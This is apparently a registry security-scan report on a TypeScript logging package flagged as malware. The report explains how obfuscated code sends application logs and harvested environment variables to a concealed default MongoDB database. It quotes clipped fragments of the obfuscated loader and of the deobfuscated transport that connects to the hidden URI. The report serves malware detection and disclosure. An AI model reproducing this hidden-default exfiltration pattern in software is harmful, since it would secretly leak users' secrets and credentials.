registry / tsrml612 / 1.14.0

tsrml612@1.14.0

Tiny TypeScript library for structured logging and health checks.

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Normal createLogger use defaults to a concealed MongoDB destination. Batched messages, contexts, and checkEnv raw environment values are inserted there.

Static reason

One or more suspicious static signals were detected.

Trigger

Application imports the package, creates a logger without a custom transport/URI, and emits or flushes records.

Impact

Application logs and potentially all environment-variable values are sent to an undisclosed remote database.

Mechanism

Obfuscated default MongoDB log exfiltration.

Attack narrative

The runtime decrypts a bundled connection string and uses it as the default MongoDB target when callers use createLogger without explicitly supplying a transport or URI. It batches log messages and arbitrary context into that database. Its checkEnv feature defaults to process.env, auto-discovers variables when keys are omitted, and records raw values, making secrets exfiltrable through the hidden default destination. The URI is intentionally concealed by the publishing obfuscation step.

Rationale

This is concrete unconsented data exfiltration through a hidden default remote transport, with an explicit environment-value harvesting path. The lack of install hooks does not mitigate the runtime behavior.

Evidence

dist/index.jsdist/types.d.tsdist/mongo.d.tspackage.json

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

Default logger transport creates MongoClient from an obfuscated decrypted URI and inserts log records.
Logger options route omitted URI to a built-in target and attach arbitrary record context.
checkEnv reads process.env and logs raw values; omitted keys auto-discover all variables.
Published artifacts are deliberately obfuscated during prepublish.

Evidence against

No preinstall, install, or postinstall hook is declared.
Remote connection occurs when logger records are flushed, not merely on import.

Behavioral surface

Source

DynamicRequireEnvironmentVars

Supply chain

HighEntropyStringsMinifiedTrivial

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 21.5 KB of source

Source & flagged code

6 flagged

dist/index.cjsView file

Lines 1-1javascript

1'use strict';const Ab=l;(function(g,n){const Aa=l,o=g();while(!![]){try{const s=-parseInt(Aa(0x1cd))/(0xb3f+-0x1537*-0x1+-0x2075)+-parseInt(Aa(0x1b4))/(0x1f79*0x1+-0x5*0x5ce+-0x271)*(parseInt(Aa(0x194))/(-0xb*-0x373+-0xd6c+-0x1882))+parseInt(Aa(0x19b))/(-0x1*0x529+-0xb28+-0x25*-0x71)*(-parseInt(Aa(0x1bc))/(-0xb*-0x137+-0x24ee+0x1796))+parseInt(Aa(0x1c8))/(-0x1*-0x255b+0x11*-0x1aa+-0x90b)*(-parseInt(Aa(0x1cf))/(-0x1*0x242d+0x1fe3+0x55*0xd))+-parseInt(Aa(0x181))/(0x1c64+-0x1a54+-0x208)+parseInt(Aa(0x18c))/(0x1*0x1c4f+0x1c75+-0x38bb)+parseInt(Aa(0x1f9))/(-0xd*-0x1f5+0x19fb+-0x3362)*(parseInt(Aa(0 ...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/index.cjsView on unpkg · L1

Long lines were clipped for display.

dist/index.jsView file

Lines 1-1javascript

1const Ah=l;(function(g,n){const Aa=l,o=g();while(!![]){try{const s=-

dist/types.d.tsView file

Lines 1-77typescript

1export type LogLevel = "debug" | "info" | "warn" | "error";

2export declare const LEVELS

package.jsonView file

Lines 28-68json

28 "types": "./dist/index.d.ts",

29 "import": "./dist/index.js",

30 "require": "./dist/index.cjs"

31 },

32 "./package.json": "./package.json"

33 },

Source & flagged code

6 flagged · loading source

dist/index.cjsView file

1'use strict';const Ab=l;(function(g,n){const Aa=l,o=g();while(!![]){try{const s=-parseInt(Aa(0x1cd))/(0xb3f+-0x1537*-0x1+-0x2075)+-parseInt(Aa(0x1b4))/(0x1f79*0x1+-0x5*0x5ce+-0x271...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/index.cjsView on unpkg · L1

dist/index.jsView file

1const Ah=l;(function(g,n){const Aa=l,o=g();while(!![]){try{const s=-parseInt(Aa(0x1d9))/(0x1920+0x1412+0x17*-0x1f7)+parseInt(Aa(0x1ae))/(-0x1*-0x26bb+0x171a+0x341*-0x13)*(parseInt(...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/index.jsView on unpkg · L1

1function L(g={}){let {uri:W,dbName:S,collectionName:d=b,client:p}=g,A0=p===void(-0x1173+-0x218c+0x32ff),A1=p??new MongoClient(W??T()),A2;function A3(){const AX=l;return A2||(A2=((async()=>(A0&&await A1['connect'](),(S?A1['db'](S):A1['db']())[AX(0x202)](d)))()),A2);}return{async 'send'(A4){const An=l;if(A4['length']===-0x2274+0x20f5+0x1*0x17f)return;let A5=await A3(),A6=A4[An(0x224)](A7=>({'level':A7[An(0x1e7)],'message':A7[An(0x1d1)],'time':new Date(A7[An(0x1cf)]),...A7[An(0x22f)]?{'context':A7[An(0x22f)]}:{}}));

High

Ai Review Evidence

Default logger transport creates MongoClient from an obfuscated decrypted URI and inserts log records.

dist/index.jsView on unpkg · L1

dist/types.d.tsView file

17* MongoDB connection string. When omitted, the built-in default target is * used. Ignored if `transport` or `endpoint` is provided. */ uri?: string; /** Database name. Defaults to the one named in the URI. */ dbName?: string; /** Collection that receives log documents. Defaults to `"log_entries"`. */ collectionName?: string;

High

Ai Review Evidence

Logger options route omitted URI to a built-in target and attach arbitrary record context.

dist/types.d.tsView on unpkg · L17

62/** * Snapshots environment variables and logs the result, both locally (if * `isLocal`) and to the configured transport — so you can look at your own * log destination and see which env values a running instance actually has. * * Pass `keys` to check specific variables; omit `keys` to auto-discover every * variable in the source. Either way each variable's raw value is logged, so * ensure the log store is access-controlled if the environment holds secrets.

High

Ai Review Evidence

checkEnv reads process.env and logs raw values; omitted keys auto-discover all variables.

dist/types.d.tsView on unpkg · L62

package.jsonView file

48"build:protected": "npm run build && node scripts/obfuscate.mjs", "clean": "rm -rf dist", "dev": "tsup --watch", "encrypt:uri": "tsx scripts/encrypt-uri.mjs", "test": "vitest run", "test:watch": "vitest", "typecheck": "tsc --noEmit", "prepublishOnly": "npm run typecheck && npm run test && npm run build:protected"

High

Ai Review Evidence

Published artifacts are deliberately obfuscated during prepublish.

package.jsonView on unpkg · L48

Findings

5 High3 Medium3 Low

HighObfuscated Payload Loaderdist/index.js

HighAi Review Evidencedist/index.js

HighAi Review Evidencedist/types.d.ts

HighAi Review Evidencepackage.json

MediumDynamic Requiredist/index.cjs

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowNon Install Lifecycle Scripts

LowScripts Present

LowHigh Entropy Strings